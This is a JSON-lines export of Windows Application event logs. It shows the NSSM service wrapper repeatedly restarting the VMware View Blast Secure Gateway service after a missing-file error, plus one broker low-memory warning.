{"@timestamp":1646654832882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155560}}
{"@timestamp":1646654832883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155561}}
{"@timestamp":1646654832883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155562}}
{"@timestamp":1646654832884,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155563}}
{"@timestamp":1646654961410,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155564}}
{"@timestamp":1646654961411,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155565}}
{"@timestamp":1646654961411,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151560","0"]}}},"module":"Application","provider":"nssm","sequence":155566}}
{"@timestamp":1646654961411,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151560","151560","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155567}}
{"@timestamp":1646654961427,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155568}}
{"@timestamp":1646654961428,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155569}}
{"@timestamp":1646654961428,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155570}}
{"@timestamp":1646654961429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155571}}
{"@timestamp":1646655089918,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155572}}
{"@timestamp":1646655089919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155573}}
{"@timestamp":1646655089919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152868","0"]}}},"module":"Application","provider":"nssm","sequence":155574}}
{"@timestamp":1646655089919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152868","152868","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155575}}
{"@timestamp":1646655089935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155576}}
{"@timestamp":1646655089936,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155577}}
{"@timestamp":1646655089937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155578}}
{"@timestamp":1646655089937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155579}}
{"@timestamp":1646655218439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155580}}
{"@timestamp":1646655218452,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155581}}
{"@timestamp":1646655218453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152720","0"]}}},"module":"Application","provider":"nssm","sequence":155582}}
{"@timestamp":1646655218454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152720","152720","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155583}}
{"@timestamp":1646655218470,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155584}}
{"@timestamp":1646655218471,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155585}}
{"@timestamp":1646655218472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155586}}
{"@timestamp":1646655218473,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155587}}
{"@timestamp":1646655346958,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155588}}
{"@timestamp":1646655346959,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155589}}
{"@timestamp":1646655346959,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152960","0"]}}},"module":"Application","provider":"nssm","sequence":155590}}
{"@timestamp":1646655346960,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152960","152960","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155591}}
{"@timestamp":1646655346976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155592}}
{"@timestamp":1646655346977,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155593}}
{"@timestamp":1646655346978,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155594}}
{"@timestamp":1646655346979,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155595}}
{"@timestamp":1646655475610,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155596}}
{"@timestamp":1646655475611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155597}}
{"@timestamp":1646655475611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153512","0"]}}},"module":"Application","provider":"nssm","sequence":155598}}
{"@timestamp":1646655475612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153512","153512","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155599}}
{"@timestamp":1646655475631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155600}}
{"@timestamp":1646655475632,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155601}}
{"@timestamp":1646655475633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155602}}
{"@timestamp":1646655475633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155603}}
{"@timestamp":1646655487231,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Mar 07 13:18:07 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":155604}}
{"@timestamp":1646655604111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155605}}
{"@timestamp":1646655604112,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155606}}
{"@timestamp":1646655604113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153032","0"]}}},"module":"Application","provider":"nssm","sequence":155607}}
{"@timestamp":1646655604114,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153032","153032","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155608}}
{"@timestamp":1646655604132,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155609}}
{"@timestamp":1646655604132,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155610}}
{"@timestamp":1646655604133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155611}}
{"@timestamp":1646655604134,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155612}}
{"@timestamp":1646655732623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155613}}
{"@timestamp":1646655732623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155614}}
{"@timestamp":1646655732624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151576","0"]}}},"module":"Application","provider":"nssm","sequence":155615}}
{"@timestamp":1646655732624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151576","151576","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155616}}
{"@timestamp":1646655732645,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155617}}
{"@timestamp":1646655732646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155618}}
{"@timestamp":1646655732647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155619}}
{"@timestamp":1646655732647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155620}}
{"@timestamp":1646655861136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155621}}
{"@timestamp":1646655861136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155622}}
{"@timestamp":1646655861137,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153292","0"]}}},"module":"Application","provider":"nssm","sequence":155623}}
{"@timestamp":1646655861137,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153292","153292","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155624}}
{"@timestamp":1646655861154,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155625}}
{"@timestamp":1646655861155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155626}}
{"@timestamp":1646655861155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155627}}
{"@timestamp":1646655861156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155628}}
{"@timestamp":1646655989652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155629}}
{"@timestamp":1646655989652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155630}}
{"@timestamp":1646655989653,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152772","0"]}}},"module":"Application","provider":"nssm","sequence":155631}}
{"@timestamp":1646655989653,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152772","152772","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155632}}
{"@timestamp":1646655989671,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155633}}
{"@timestamp":1646655989671,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155634}}
{"@timestamp":1646655989672,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155635}}
{"@timestamp":1646655989672,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155636}}
{"@timestamp":1646656118153,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155637}}
{"@timestamp":1646656118153,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155638}}
{"@timestamp":1646656118154,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153080","0"]}}},"module":"Application","provider":"nssm","sequence":155639}}
{"@timestamp":1646656118154,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153080","153080","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155640}}
{"@timestamp":1646656118171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155641}}
{"@timestamp":1646656118171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155642}}
{"@timestamp":1646656118172,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155643}}
{"@timestamp":1646656118172,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155644}}
{"@timestamp":1646656246681,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155645}}
{"@timestamp":1646656246682,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155646}}
{"@timestamp":1646656246682,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152620","0"]}}},"module":"Application","provider":"nssm","sequence":155647}}
{"@timestamp":1646656246683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152620","152620","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155648}}
{"@timestamp":1646656246699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155649}}
{"@timestamp":1646656246700,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155650}}
{"@timestamp":1646656246701,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155651}}
{"@timestamp":1646656246701,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155652}}
{"@timestamp":1646656375220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155653}}
{"@timestamp":1646656375221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155654}}
{"@timestamp":1646656375221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153116","0"]}}},"module":"Application","provider":"nssm","sequence":155655}}
{"@timestamp":1646656375222,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153116","153116","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155656}}
{"@timestamp":1646656375238,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155657}}
{"@timestamp":1646656375239,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155658}}
{"@timestamp":1646656375239,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155659}}
{"@timestamp":1646656375240,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155660}}
{"@timestamp":1646656503871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155661}}
{"@timestamp":1646656503872,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155662}}
{"@timestamp":1646656503872,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153252","0"]}}},"module":"Application","provider":"nssm","sequence":155663}}
